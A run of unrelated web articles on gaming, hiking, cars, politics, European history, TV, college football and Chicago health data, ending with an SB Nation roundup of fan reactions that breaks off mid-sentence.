receive and outrageously large Corehound mount for your troubles along with an achievement. But remember that this is for a limited time only, so come November by ready to take on the Firelord so you can claim your prize.  Sources: MMO-Champion, Curse, Blizzard
-MILLINOCKET – Baxter State Park has closed a popular trail that leads to the top of Mount Katahdin.  Park Director Jensen Bissell told WZON-AM that a rock slide this spring “obliterated” much of the Abol Trail. He said the area remains unstable, with the potential for more rocks tumbling down.  Additional Images 1997 Press Herald File Photo Hikers near the end of the Abol Trail during a climb up Mount Katahdin. The trail was mostly obliterated by a rock slide this spring.  The Abol Trail is the shortest and steepest trail to the summit with an elevation gain of nearly 4,000 feet. But it’s never been an easy trail because of loose stone and gravel.  Bissell says the trail will be closed for the season. He said park officials need time to examine the trail in detail and determine future options.  Share
-The Buick Grand National is one of the mythic beasts of the car world. With a turbocharged V6 and the blackest of black paint, it is the Darth Vader of the roads and has established a fanatical cult following.  This December, an independent documentary about the car called Black Air will be released. Get your first tire shredding look at it here and then jump below to ask director Andrew Filippone Jr. all your questions about the film.  The Grand National was the muscle car of the 80s. It was intimidating, it was fast, and it was black. For a factory built hot rod, Buick really got it right. Hell, it was the fastest accelerating production car in America. It got from 0 to 60 in 4.7 seconds, which is fast by modern standards.  Black Air will premiere on December 11, 2012, exactly 25 years to the day that the last Grand National rolled off of Buick's assembly line.  With the film, Filippone is looking to answer the questions everyone has about the cars: Where did it come from? Where did it fit? And now, two decades after its passing, what is its legacy?  Advertisement  Check out the trailer below and jump in Kinja to get some of the straight dirt from Filippone before the premiere in December.  Andrew had to run, big thanks to him for taking so many questions! Now get out there and see the movie in December!
-It's at this time of the year that generous, big-hearted Americans reach out to aid the less fortunate among us -- like those who've recently been knocked down by the recession and seen their incomes plummet. I speak, of course, about our nation's severely squeezed millionaires.  Yes, many in the infamous 1 percent class are no longer feeling like a million bucks. According to a new federal report, the income of these high-living swells averaged a robust $1.4 million in 2007, but after Wall Street crashed in a heap of greed late that year, their average income took a tumble. In 2009, it fell below the millionaire threshold, leaving these poor rich folks struggling to make it on an average income of only $957,000.  Also, talk about getting a lump of coal in your Christmas stocking, the share of our nation's total income taken by the 1-percenters fell from a whopping 23 percent in 2007 (the highest since the Roaring Twenties) to a mere 17 percent in 2009. How sad for them, huh?  The only balm for their little financial ouchie is they are using the slight setback to rebuke the 99-percenters of the Occupy Wall Street protests. See, say the rich, waving the federal report, our slice of the pie in 2009 was the smallest it's been in a decade, so your protest about inequality is out of date. "Get a time machine," one front man for the Koch brothers barked at the Occupy movement.  - Advertisement -  OK, but let's travel back only a few short years in time to 1980, when the top 1 percent was very happy to pocket a meager 10 percent of all of America's income. And, by the way, today's 1-percenters have had big income gains since 2009, while the 99 percent have lost income. So the Occupiers are right -- the inequality is increasing -- yet, shamefully, those who're back making a killing want America's hard-hit majority to feel sorry for them!  The 1-percenters and the politicos who serve them are modern-day scrooges, oblivious to the hardships of others. "Humbug," they mutter, expecting downsized workers to be like Bob Cratchit -- grateful to be given an extra piece of coal for the fire in Ebenezer's cold workspace. As you recall, Scrooge was a nasty old miser, but even he came to see the soul-destroying evil of his ways and found redemption in the end. One wonders, though -- is there any hope for the Scrooges of Washington?  Congressional Republicans continue to protect nonsensical tax breaks for Wall Street billionaires and Big Oil, while demanding that programs to aid America's growing number of poor people either be slashed or eliminated. The Obama White House is fighting most of this absurdity, but it keeps trying to appease the GOP by offering to sacrifice programs that ordinary people really need. For example, LIHEAP.  - Advertisement -  Much of the country doesn't know what that is, but people who go through the long, bitterly cold winters in the Northeast know that LIHEAP literally is a lifeline for the thousands of poor families there. It's the Low Income Home Energy Assistance Program, which helps the poor afford the steadily rising price being charged for the heating oil that Northeastern states rely on. Home heating oil in Maine is presently running $3.66 a gallon, up from $2.87 a year ago.  Yet, in a concession to GOP leaders, Obama has proposed whacking LIHEAP's funding so severely that average benefits this winter would fall from about $800 per home to just over $300. That's not just throwing a program's budget into the Republican shredder, it's throwing people into it! In Bangor, Maine, where the average January low is only 7 degrees above zero, the slashed benefits will buy only about 100 gallons of fuel for the typical low-income home. It takes 850 gallons for those homes to stay heated through the winter season.  Rather than literally tossing the poor into the cold, how about cutting off all heat to the White House and Capitol? Let those Scrooges feel the sting of their budgetary miserliness, and maybe they'd seek a bit of redemption from those they're hurting.
-The Low Countries, with their openness to the great ocean and wealth of protected rivers and waterways inland, were ideal for trade, movement and consequent political development. The loess soil is dark and productive, even as the forests provided a natural defense. European antiquity was defined by the geographic hold of the Mediterranean, but as Rome lost its hinterlands, history moved north.  It is not only the division between north and south that bedevils Europe. In the fourth century, the Roman Empire split into western and eastern halves, with dueling capitals at Rome and Constantinople. Rome’s western empire gave way to Charlemagne’s kingdom and the Vatican: Western Europe, that is. The eastern empire, Byzantium, was populated mainly by Greek-speaking Orthodox Christians, and then by Muslims after the Ottoman capture of Constantinople in 1453.  The Carpathian Mountains, which run northeast of the former Yugoslavia and divide Romania into two parts, partly reinforced this boundary between Rome and Byzantium, and later between the prosperous Hapsburg Empire in Vienna and the poorer Turkish Empire in Constantinople. Greece is far more the child of Byzantine and Turkish despotism than of Periclean Athens.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  In antiquity Greece was the beneficiary of geography, the antechamber of the Near East — the place where the heartless systems of Egypt and Mesopotamia could be softened and humanized, leading to the invention of the West, so to speak. But in today’s Europe, Greece finds itself at the wrong, “orientalized” end of things. Yes, it is far more stable and prosperous than places like Bulgaria and Kosovo, but only because it was spared the ravages of Soviet-style communism.  To see just how much geography and old empires shape today’s Europe, look at how former Communist Eastern Europe has turned out: the countries in the north, heirs to Prussian and Hapsburg traditions — Poland, the Czech Republic and Hungary — have performed much better economically than the heirs to Byzantium and Ottoman Turkey: Romania, Bulgaria, Albania and Greece. And the parts of the former Yugoslavia that were under Hapsburg influence, Slovenia and Croatia, have surged ahead of their more Turkish neighbors, Serbia, Kosovo and Macedonia. The breakup of Yugoslavia in 1991, at least initially, mirrored the divisions between Rome and Byzantium.  The Greek debt crisis is the biggest challenge since those Yugoslav secessions to Europe’s attempt at overcoming its geographical and historical divisions. Whereas in the early decades of the cold war the European enterprise had to heal only the long-time rift between France and Germany, now it is a matter of Carolingian and Prussian Europe — Brussels and Berlin — incorporating the far-flung Mediterranean and Balkan peripheries.  And it is precisely because Europe, for the first time in history, faces no outside threat to its security that it may fall prey to the narcissism of its internal contradictions. That the European Union’s northern powers aren’t willing to bail Greece out entirely by themselves, but are relying on the International Monetary Fund to kick in up to $20 billion, shows that there are limits to how far they will go toward the dream of a unified supercontinent.  Still, just as geography has divided Europe, it also unites it. For example, a lowland corridor from the Atlantic to the Black Sea has allowed travelers for centuries to cross the length of Europe with speed and comfort, contributing to Europe’s cohesion and sense of itself. The Danube, as the Italian scholar Claudio Magris rhapsodizes, “draws German culture, with its dream of an Odyssey of the spirit, towards the east, mingling it with other cultures in countless hybrid metamorphoses.” Central Europe, cleft from the West during the cold war, is the continent’s universal joint: a fact that puts the responsibility for surmounting the politics of historical division squarely on the shoulders of a united Germany.  Germans should realize that Greece, with only 11 million people, nevertheless remains the ultimate register of Europe’s health. It is the only part of the Balkans accessible on several seaboards to the Mediterranean, is roughly equidistant from Brussels and Moscow, and is as close to Russia culturally as to Europe by virtue of its Eastern Orthodox Christianity. In a century that will likely see a resurgent Russia put pressure on Europe, especially on the former Soviet satellite states in the east, the state of politics in Athens will say much about the success or failure of the European project.  Advertisement Continue reading the main story  The good news is that northern Europeans know this, and will not let Greece fail. Indeed, to let Greece drift politically eastward would forfeit any hope of a big and inclusive Europe — geographically, politically and culturally — in favor of a small and petty one, Charlemagne’s empire pretending to be Rome.
-The CW’s ‘Supergirl’ was an emotional roller-coaster as well as full of action and character growth. Seeing some familiar faces return to the small screen was a refreshing surprise.  Concluding the Daxamite invasion storyline, Superman (Tyler Hoechlin) returned being a big help in the finale fight. His first appearance this season was in the first two episodes and left fans wanting to see him more. Because of the common threat to Earth, Lena Luthor (Katie McGrath) and Lillian Luthor (Brenda Strong) teamed up to try and create a weapon that would force the Daxamites off of Earth. At the same time, Supergirl (Melissa Benoist) challenged Rhea (Teri Hatcher) to Dakkam Ur, an ancient form of dual where the two would fight for Earth. J’onn J’onzz (David Harewood) also joined the fight along with the return of M’gann M’orzz (Sharon Leal) with White Martians to help.  Nothing good comes out of trusting Rhea to uphold the tradition. All she wanted was to take over Earth and turn it into New Daxam. Some of the best scenes going forward were ones that Mon-El (Chris Wood) and Superman (Hoechlin) shared as he accepted him as someone Kara was in love with. The heartwarming scenes were soon replaced by nothing but heroics and sadness. The weapon was deployed leaving all the Daxamites no choice but to leave or die. Mon-El was forced off the planet to survive, sharing a final and tearful scene with Kara as the two said their goodbyes. While the Earth is now safe, everyone around Kara is happy, except her as she is left with a broken heart.  What fans are left talking about is the final moments of the episode. Cat Grant (Calista Flockhart) now knows Kara’s secret, gives her some great advice, and hints at her return. The flashback scene of the destruction of Krypton and another pods leaves a lot of room for speculation. Nothing is yet confirmed other than it appears to be setting up for the villain coming in season three.  When it comes down to the season as a whole, it was a solid 22 episodes. The introduction of characters like Mon-El, Lena Luthor and M’gann M’orzz added a lot to the plot as well as progress character development of others. Lena Luthor was somewhat of an anti-hero throughout the whole season, never fully stepping into the good or evil side. What is left is to wonder whether she will follow in the steps of her brother Lex Luthor, a big enemy of Superman.  Perhaps the most significant character to be added was Mon-El, who came from a planet where tyranny and immoral rule was all it had. However over the course of the season, he was able to overcome who he used to be and grow into a hero. The romance with him and Kara was not something that overshadowed the plot in any way. Most of the time, the two shared scenes together that showed how much they cared for each other, but it didn’t take time away from the main focus of the episodes.  All in all, this episode was a great conclusion to the second season. The acting was really on point and portrayed the story and emotions very well. ‘Supergirl’ returns to The CW in October 2017.  Advertisements
-The Miami Hurricanes football team had its roster updated Thursday, with 11 new scholarship players, two walk-ons -- and two deletions.  The deletions: scholarship cornerback Larry Hope, who would have been a redshirt freshman in 2014; and walk-on quarterback Garrison Lassiter, the former minor-league baseball player with the New York Yankees organization who gave up baseball to come to college and give football a try.  A UM spokesman said he had no additional information on Hope and Lassiter. Hope played in two games last season and had three tackles. Lassiter never played.  Here are the new 11 (and their jersey numbers), taking summer classes and getting ready for fall ball:  No. 7: S Marques Gayot of Lake Worth Park Vista Community High.  No. 9: DE Chad Thomas of Miami Booker T. Washington.  No. 12: QB Malik Rosier of Mobile, Ala., Faith Academy.  No. 15: QB Brad Kaaya of West Hills, Calif., Chaminade-Madonna.  No. 22: DB Kiy Hester of Wayne, N.J., DePaul Catholic.  No. 57: DE Mike Smith of Miami Northwestern.  No. 68: OL Nick Linder of Fort Lauderdale St. Thomas Aquinas.  No. 82: WR Tyre Brady of Homestead South Dade.  No. 92: DL Courtel Jenkins of Wayne, N.J., DePaul Catholic.  No. 95: DL Anthony Moten of Fort Lauderdale St. Thomas Aquinas.  No. 44: DE Demetrius Jackson of Miami Booker T. Washington.  Here are the walk-ons:  No. 16: P Justin Vogel by way of UF and before that, Tampa Berkeley Prep.  No. 24: K Michael Badgley of Summit, N.J. High.  No. 43: FB Tyler Odems of Manassas, Va., by way of Dean JC (I'm told he didn't play) & Osbourn Park High.  Practice expected to begin Aug. 5th.  SUSAN MILLER DEGNAN
-For many anti-Trump comedians and show creators, making fun of President Trump is almost seen as passé. In fact, for South Park creator Trey Parker, he wants to stop using his show to focus on Trump to make fun of him because everyone seems to be doing it.  In an interview with the Los Angeles Times promoting his role in the new film Despicable Me 3, Parker (along with his co-creator Matt Stone) felt that their show became a linchpin to the chorus of anti-Trump comedy circuit.  “We fell into the same trap that ‘Saturday Night Live’ fell into, where it was like, Dude, we’re just becoming CNN now. We’re becoming: ‘Tune in to see what we’re going to say about Trump.’ Matt and I hated it but we got stuck in it somehow,” Parker said.  “This season I want to get back to Cartman dressing up like a robot and [screwing] with Butters, because to me that’s the bread and butter of “South Park”: kids being kids and being ridiculous and outrageous but not “did you see what Trump did last night?” Because I don’t give a … anymore.”  It’s not the first time that Parker has expressed this sentiment. When speaking to Bill Simmons of The Ringer, both Parker and Stone assumed Hillary Clinton would win, so they did a whole season story arc surrounding how girls have been slighted. And, of course, Trump’s historic upset completely changed all that.  “We were heading down this whole path [with] this big boy-girl war going on, and everyone thinks, ‘OK well hooray, Hillary’s gonna be president.’ And that means that Bill Clinton is the first gentleman.” Parker explained. “That to us was the most ironic, coolest thing to focus on. ‘OK, there you go, you win, he’s officially the first gentleman, how do you feel, girls?’ And that’s where the whole season was going and that’s what really got torn apart. [Mr.] Garrison [who portrayed Trump] was supposed to come back and just start teaching again and all this stuff and we were now just locked in to this other [timeline].”  For some who are looking to get away from politics, it’s nice to know that at least one comedy show is planning to provide an escape that focuses on making fun of everything again, rather than just the man sitting in the Oval Office.  Latest Videos
-Chicago Average life expectancy: 78 Health authorities in Chicago spotted an unusual pattern: Life expectancy defied income in a number of neighborhoods, possibly because of the influx of immigrants who tend to live longer than native-born Americans. “We look at life expectancy to help us identify where the problems are,” said Dr. Julie Morita, the city’s health commissioner. “So when we have resources available we can direct them to where the need is greatest.”  The Near North Side and the Loop, affluent downtown neighborhoods with median income of over $80,000 have the highest life expectancy in Chicago. Rogers Edison Park Park 80 81 77 83 North Park 80 81 O’Hare 84 80 International 80 O’Hare Airport 82 Uptown 81 76 Portage 80 Park 81 82 80 80 80 80 80 Lincoln Park In racially diverse Hyde Park 70 percent of residents have a bachelor’s degree or higher and life expectancy is 13 years longer than in Washington Park to the west. There, residents are almost all black and just 15 percent have a bachelor’s degree or higher. 80 80 West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago. 81 Humboldt 80 85 Park 72 75 Loop Near West Side 72 69 85 79 72 81 81 82 82 80 74 80 South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas. 74 81 74 79 74 70 81 Washington 79 Garfield Ridge 82 81 Park 80 69 Clearing 75 71 70 Chicago 77 81 Lawn South Shore 71 75 72 Auburn 78 75 Gresham 73 74 73 Calumet 72 Heights 75 77 81 76 78 Roseland 80 73 South Deering 75 76 West Pullman 72 77 76 77 83 81 84 80 O’Hare 80 82 81 76 81 82 80 Near North Side 80 81 80 85 75 72 West Garfield Park 69 85 79 72 81 81 82 South Lawndale 82 Hyde Park 80 74 81 70 79 74 81 82 79 69 80 77 75 70 81 75 71 72 75 73 78 74 73 72 77 75 81 78 73 80 75 76 72 77  There’s a 13-year gap in life expectancy between Hyde Park and it’s neighbor to the west. Hyde Park is racially diverse, but well educated — 70 percent have a bachelor’s degree or higher. Washington Park is almost entirely black, and just 15 percent have a bachelor’s degree or higher  West Garfield Park residents are 97 percent black, nearly 50 percent of households have an income of less than $25,000, and the neighborhood is tied for lowest life expectancy in Chicago.  South Lawndale, a low-income area in the western part of the city that is mostly Hispanic, has a life expectancy of 82, higher than even of some of the city's most affluent areas.
-The 2016 NFL season became known for the intermingling of football and politics. So, it should come as no surprise that only one week into 2017, that unholy alliance once again reared its ugly head.  On Saturday afternoon, the Texans and Raiders faced off in the wild-card round of the NFL playoffs. The game pitted a third string quarterback making his first start against a monumentally overpaid free agent who was recently benched before getting his job back due to injury. If that alone didn’t make you want to turn the channel, during the game ABC ran a promo for this week’s upcoming episode of the sitcom “Black-ish.”  The theme for the next edition of “Black-ish” is a 30-minute Trump-lamenting tirade promoted as, “the election through the eyes of Black-ish.” Needless to say, the “eyes of Black-ish” did not smile in the aftermath of the election:  At least they’re being upfront about their naked ambition to use this episode to create a Twitter firestorm. Some fire storming already ensued on Twitter after Trump supporters saw the promo on Saturday:  Why does the @NFL keep playing a anti-Trump commercial for the terrible show Blackish? They must not know their audience #MAGA #HillaryLost — WolvesandSheep (@mikechilden) January 8, 2017  No one watch #blackish. Not everyone who voted for Trump is a racist. That show caters to the lowest common denominator. How insulating #ABC — Matt Falk (@therealmjf1) January 7, 2017  Man, #Blackish looks so original! A Trump voter isn’t racist because she has black friends! Can’t wait to never watch a second of that show. — Steve James (@BigBuckeye24) January 8, 2017  The show probably hopes the President-elect will throw some gasoline on their Twitter firestorm by tweeting about the episode. After all, he has tweeted about “Black-ish” before:  How is ABC Television allowed to have a show entitled “Blackish”? Can you imagine the furor of a show, “Whiteish”! Racism at highest level? — Donald J. Trump (@realDonaldTrump) October 1, 2014  I sincerely hope Trump doesn’t tweet about the episode. “Black-ish” clearly intends to profit through demeaning Trump voters with every insulting stereotype under the sun. Having Trump, albeit unintentionally, adding to the show’s success and impact by tweeting about it would just be gross. The “Boycott the NFL” movement got some serious traction this year thanks to the antics of Colin Kaepernick and others. The best thing conservatives could do on Wednesday night is boycott “Black-ish” as well.  Follow Dylan Gwinn on Twitter: @themightygwinn
-Photo by: CUNY  A group home for young runaways run by a prominent nonprofit is under scrutiny as current and former residents say staffers there used excessive force, engaged in sexual misconduct and mismanaged residents’ finances.  The Administration for Children’s Services tells City Limits that it is investigating the allegations leveled against the Gramercy Residence run by Green Chimneys.  Up to 40 percent of homeless youth are lesbian, gay, bisexual or transgender, and the unique needs of that population were the focus of a recent White House-sponsored conference. Green Chimneys is a leader in the field of supporting at-risk youth.  The organization did not speak to us on camera, but while the the video report below was being edited, did provide the following statement:  “The care and safety of the youth at our Gramercy group residence is the primary concern of Green Chimneys’ New York City division staff and agency administration. We take all allegations very seriously and have done a careful investigation into the recent claims. We have a consistently strong record of service and a long history of providing care and support to our residents. Our fully trained staff follow all agency and program policies and procedures, which serve to maintain a safe and supportive environment for our youth, and we immediately address any reported issues as mandated by the City and State agencies to which we are accountable.”
-Georgia's coaches are all dead. This is the good news for them after Auburn catches a Hail Mary that two Georgia players lovingly put on a platter for the Tigers.  If they were not dead — and they are dead — they would have to put up with Georgia fans, at least those who are not dead. Which most of them are. The embattled post-apocalyptic survivors are slightly pissed off. And mutants. But mostly pissed off.  Game thread:  DE MOTHERfrickING FENSE!!!!! WE GOT THIS SHIT!!!!!  Relying on the defense. Not feeling good.  How much time?  1:45  Wow.. good play there. Used some clock on that one, too.  Let's get a stop!  This is it men!!!!!! Comeback of the YEAR!!!  BLITZ.....DO NOT RUSH 4. Please Grantham  Oh no 4th and long against Auburn.  Anybody else more nervous about 4-18 than a 4-5?  I think we bring it on this..the farm...all in....  The event happens, and this is the most perfect response in the history of game threads.  (no message)  and then  WHAT THE F$&K!!!!?????????????????  I knew it, I knew it. 2005 all over again.  Why did they not knock it down. It makes no sense.  Thats why u just knock it down. Easy win and dude is going for a pick. WOW  it sums up our lives as UGA fans...we are the Cubs fans of college football.  Wow! just wow! The Football Gods hate us...  I can't believe how lucky Auburn can be! what a fricking joke!!! WE WON THAT GAME AND THAT DUMB THIEF STOLE ANOTHER GAME FROM UGA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  That's in reference to Auburn quarterback Nick Marshall, who was at UGA until an incident got him kicked out of school.  In the aftermath, this man decided he would commit internet suicide.  frick wins and losses (Posted on 11/16/13 at 8:21 pm) This is the best damn season of football I have ever watched. I've damn near been on the edge of my seat all season. So glad I'm not a bama fan watching all those boring arse games. Go Damgs!  Go damgs!  Responses:  Damn Good Dawg: fricking moron dawgfan24348: No DaveyDownerDawg: You are a fricking idiot if you think this is an exciting football season. Gotdamn Disney muthafrickas!  Choose a side.  Disney or Doom which are you? (Posted on 11/17/13 at 1:14 am) With a lot of new poster/alter on the board Me thinks we need to know where everyone stands  option 1 option 2 option 3  Myself I fall in the Option 2. I always have hope for the dawgs but also feel there needs to be some sort of change in the way the coaches are doing business........ everything isnt the Magic Kingdom but its not TWD Atlanta either...  Aaand finally, DC Todd Grantham is less than popular at the moment.  I cannot stand ginger thor that soulless jack ass  Georgia, you have acquired the Tears of Unfathomable Sadness. Next time, bat them down, not up.  ACC  This was actually last week.  Miami lost to Duke, and that makes a lot of fans think "my team is worse than Duke." Like, oh, I don't know, me. But this bit is about Miami. Delving into Canespace, where a Styx reference…  The 1980's rock group Styx had it right. It is possible that Miami head coach Al Golden has pulled the "Grand Illusion" over Miami Hurricane fans.  …is immediately followed by a profuse apology.  Open Letter To Hurricane Fans And Coach Golden Last night, after Miami's tough loss to Duke, I was very harsh and critical about the game and UM head coach Al Golden. While I, like most Hurricane fans, am still very disappointed with the loss to the Blue Devils, I wanted to apologize to Hurricane fans and Coach Golden for my rant and venting on the blog.  This has about 20 fewer instances of the word "azz" than expected. But before that, the guy whose run Canespace since 2006 — it is prehistoric in internet terms — was going to quit:  No, Sorry folks, but I am not kidding or bluffing, I am done. There will be no more Canespace after this season is over. I can't take it anymore. If someone wants to buy me out and take it over email me at: canespace86@aol.com NO SERIOUSLY.  He got better.  Elsewhere in that thread:  an abomination of an abortion of a sham of a travesty of a football game  Look at the bright side I bet we would kill duke at bench press absolutely dominate  IT'S SO BAD THAT IM NOT EVEN MAD??? I WON'T LET THIS CRAP DESTROY MY WEEKEND. LOVE MY FAMILY MORE THEN THE CANES AND THAT IS MOST IMPORTANT TO ME. … I WILL HAVE MY SIGN THIS SATURDAY. D"NO= NO"D LOOK OUT FOR IT, WE'LL IT WON'T BE REALLY HARD ME BEING ONE OF THE 9,000 THERE  That's from "Canezilla."  Judging from ABC's ratings, I'm surprised they don't put us in prime time and try to fool people into watching by calling it "Finishing Bad".  I see what you did there.  Big Ten  I was live and in person as Northwestern lost in a way only Northwestern could lose, as Michigan pulled off the fire-drill, last-second field goal for the first time in history (probably). I'd promised to find a Northwestern fan and give him the Good Will Hunting fix and did not, so let me just say to any Wildcat fans who stumble across this while trying to find a support group: it's not your fault.  This also demands a gamethread delve. Starting from the top:  Why am I here  Let's get this over with What a sad game all around  *vomit* 2 runs for nothing and then a 6 yard pass on 3rd and 8 it’s like john shoop is still haunting the chicagoland area  "Even on a Saturday the library's busy" Come on, there was just one guy on a laptop in that b-roll! Stereotypes!  is there a name for this? where one team moves the ball down the field, without punting or turning it over?  i think it's called a fluke  NU punts for six yards, up 9-3.  WOW.  This is the part where I shoot myself  THIS IS A FUN GAME TO WATCH  Michigan goes three and out from the 10, FG, 9-6. Northwestern punts, M gets down to the four, goes on fourth and two, stuffed.  well that is not what i expected to happen  Michigan's got the ball, attempting to score in the two-minute drill.  It's time to clench your heinies everyone.  NO F--- YOU WHY WOULD YOU DO THAT  I have no idea why this person said this thing, because, well, everything about this game demands that statement.  we will somehow find a way to lose this right?  Gardner's fourth or fifth ball into a Northwestern defender's chest that is not brought in…  God damn it catch that shit aguahgh  how can you drop that!  I seriously just want to cry. This is the worst season of football I've ever seen  Michigan does the thing with the field goal.  First, Bring Your Champions, They're Our Meat:  Incredible. I am flabbergasted. My gast is flabbered. — BYCTOM (@BYCTOM) November 16, 2013  WHAT  ARE YOU F---ING KIDDING ME  lolololololololololololo  F--- EVERYTHING  and I'm officially crying … I am a person who is just about incapable of crying I’ve been clutching a pillow sobbing for a minute straight.  Just give both teams an L and be done with it  can't wait to buy a game worn jersey  Yeah, you'll definitely want to memorialize this season  Overtimes happen. Michigan wins.  Well at least it's not as bad as what just happened to Georgia  And this man may be dying, or may already be in hell:  I'm sick...really Dear Northwestern Wildcats – You are killing me. I am not kidding. My blood pressure is 164/97… Pulse is dangerously fast… Family is saying that they will sue Northwestern if I die watching a game. Just took emergency blood pressure meds… Family is starting to think I have a death wish because I refuse to miss a Northwestern game… The Nebraska game almost killed me. After this game, I’ve one foot in the grave and another on a banana peel. Family noted that they are glad that "Are you a Northwestern Fan?" isn’t on insurance applications. I’m having an existential crisis here… Maybe I’m actually dead and wound up in Hell. Or maybe I can’t die – even with my blood pressure spiking. Family is starting to think I’m insane for being a Northwestern fan. That’s probably true. But I plan on watching the next game anyway.  As for Rodger, he wrote this:  People say things like "this is the worst football game I've ever watched" a lot. But I genuinely think this was the worst football game I've ever watched in regulation. … Of course, because there's a god of football and he hates us all and wants us to be unhappy, Michigan ran a awful, terrible two-minute drill, and somehow managed to have their holder slide in for a game-tying field goal to make it 9-9 going into overtime. Yes, we had to watch another Northwestern overtime game. Then we had to watch a Northwestern double overtime game. Then we had to watch a Northwestern triple overtime game.  And ate pudding looking like this:  This is @rodger_sherman drowning his sadness in pudding. pic.twitter.com/NOQuZIjYcA — sir broosk (@celebrityhottub) November 17, 2013  And everyone was sad. It's not your fault, Rodger.  Finally:  I’m going to go decapitate a house cat and leave the head on Pat Fitzgeralds lawn. It seems like the most rational thing to do at this point.  They probably should just abandon the idea of college football in Illinois entirely at this point.  Dana Holgorsen is Derek Dooley with bad hair.  Big Twelve  The hot bag of garbage that is Kansas snapped its epic conference losing streak on Saturday, and whoever that happened to is going to go nuclear. So come on down, West Virginia.  Oh man no.  "@ronwrightwanabe Dana Holgorsen is Derek Dooley with bad hair — Brian Hartman (@BrianH618) November 16, 2013  Holgorsen should shave his head or get a hat. Also, apparently his buyout is $11 MILLION. Whoa. — Blake (@blakekresge) November 16, 2013  Leave the man's hair alone, Twitter. Unless you want to destroy the rest of the national monuments, too, you Ron Swanson, you.  You can tell when things get bad at WVU when people start pining for Rich Rodriguez. This one brings unusual flavor to the party:  Why I miss Rich Rod... I was his dog trainer, and would meet with them, well mostly Rita once a week. I'm not gonna lie, they have paid the most out of all of my clients. I miss it. Too bad Dana doesn't have a dog.  wvuweaponX: Warning. You're leaving an awful lot to the imagination for this board.  This is especially selected to force Orson to lay down with palpitations:  Will Muschamp is exactly who I feel we need as a coach at WVU He's going to be fired at Florida after they killed by FSU on the 30th. Great defensive mind that has coached in the conference before and knows how to recruit key areas like Florida, Georgia, and Alabama.  And banghead.gif:  Well, WVU leads the Big 12 Conference in Excuses.  Rutgers, Marshall and MAC teams would beat WVU this year, even though none of those have won against the Mountaineers since 1949.  But we are NO. 1 -- in excuses.  Spare me. Just win the damn ball games.  It's Kansas. The only time there's crying in football is when you lose to Kansas. It happens about every 3 years or so.  In response:  I, too, am fed up with excuses. Our coach sounds like obama (sic). He continues to come across as immature, and shows less leadership than the AFLAC duck.  That guy just deployed (sic) on something he wrote. Bro, do you even edit?  Always look on the bright side of life:  wear black to the last home game as a sign of protest for a dying program wvuweaponX: Typically, I'd ridicule these types of threads but I think this is an unmistakable message plus, it gets fans to the game. llllllllll: I think everybody should come in wearing Pitt apparel to symbolize what is at the end of the path that this program is on. That would really get some attention.  Texas got run out of the building by Oklahoma State in a harsh reality check after scooting out to an undefeated, if obviously fortunate, start to their Big 12 season. When not evaluating coaching candidates (Wisconsin's Gary Andersen is the commentariat's favorite), Barking Carnival is threatening old people:  Bummer of a game, but unlike the BYU liver punch, my blood pressure never broke 120/80. I know this because I watched the entire game at a Walgreen's pharmacy on my iPad, my arm wrapped in a free screening pressure cuff, eating Mike & Ikes. When old people rolled up on their Hovarounds to test their own blood pressure on the machine that I dominated for three plus hours, I shooed them away by throwing their medicine into the diarrhea aisle and telling them to register any complaints on the Health & Human Services website.  Texas, you're back. We've missed you.  Pac-12  Stanford made their loss to Utah a lot less inexplicable by empowering Coach O to run around with a sword (THOUSANDS DEAD IN BIGFOOT RAMPAGE – LA Times) after USC beat them. Now comes the hard part: trying to understand Stanford fans.  I still think we'll be a winning team next year, but can't see any way we'll be elite. Do we regress to the mean now and go through cycles of somewhat strong seasons interspersed with poor seasons? In other words, did we just finish the Good Old Days?  Regress to the what lol.  …this loss hurts and it literally made me lose sleep last night, but the sky isn't falling. Try to be positive!  I mean…  I'd rather play the LA teams every year then every other. I don't mind a incredibly tough schedule. It's given us some great football so far this season.  I hate you, Stanford fans. Not because you're bad people. Because your internet is sane. This is not the internet the rest of us know. I am going to point some laser pointers at your chest, and then see how you feel.  Cal lost to Colorado, confirming themselves the worst team in the league and making it a bad week for West Coast nerds everywhere. Cal fans are usually in the tweed jacket and bubble pipe category, but even in year one this is too much for some:  I want firings. I don’t care who, but the defensive staff gets top billing above all else.  atomsareenough: You know, I’ve come around. This game finally did it. The fans need a scalp. Auricursine: Isn’t bloodlust something???  I want the kids to do well, but this year is like an undisciplined classroom under a rookie teacher with no training.  Well, everything is looking up. since we are flat on our backs.  Yes. Come to the darkside, nerds of the Bay Area. Go Cal! (You're going to die.)  SEC  South Carolina actually won, because they were playing Florida, and Florida is SEC Michigan, but at one point things looked grim and this child embodied the last three months of my life:  Speaking of Florida, teams are now getting their kicks on the lifeless body.  Via bullg8rdaddy  There is only one logical response:  Gators Should Stop Playing "Fair" One thing I'm tired of as a fan is Florida trying to be above the fray when it comes to NCAA rules. Screw the NCAA!. I don't care if players use drugs or sell autographs. Talent should only come off the field for very good reasons. The fact that we had Cam Newton sitting behind Tebow and lost him over a stolen laptop and maybe some classroom cheating makes me sick. So, the kid just plays Juco for a year, and then any other university can recruit him. What kind of rules are these? We should have paid hush money to the victim of the laptop theft, ignored any cheating in the classroom by Newton, and enjoyed another Heisman winner and won more games. Instead, we were left with Brantley and the "3-bow" offense.  Things have to change. In most jobs in the US, there are not drug tests performed on employees throughout the year. They're usually only performed pre-hire or after a workplace injury. Also, why should anyone else in society be able to make money based on any fame they obtain, but college athletes are forbidden to do so? Even Olympic athletes can earn money from endorsements.  I was going to make fun of this but now I think this guy could take Mark Emmert in a debate.  NEXT WEEK: Nothing of interest happens in the ACC except Duke going 9-2 to make you feel horrible about your team! Baylor! Oklahoma State! #pray4scoreboards! Northwestern leads MSU late, loses in improbable fashion! Illinois versus Purdue! Cal loses to Stanford by 80! Does Georgia Southern Have a chance against Florida? Maybe!  More from SB Nation college football:  Follow @SBNationCFBFollow @SBNRecruiting  • Full Week 13 TV schedule, including five ranked games  • Start hot: this week’s best stats in The Numerical  • TWIS: Georgia fans react to Auburn’s insane Hail 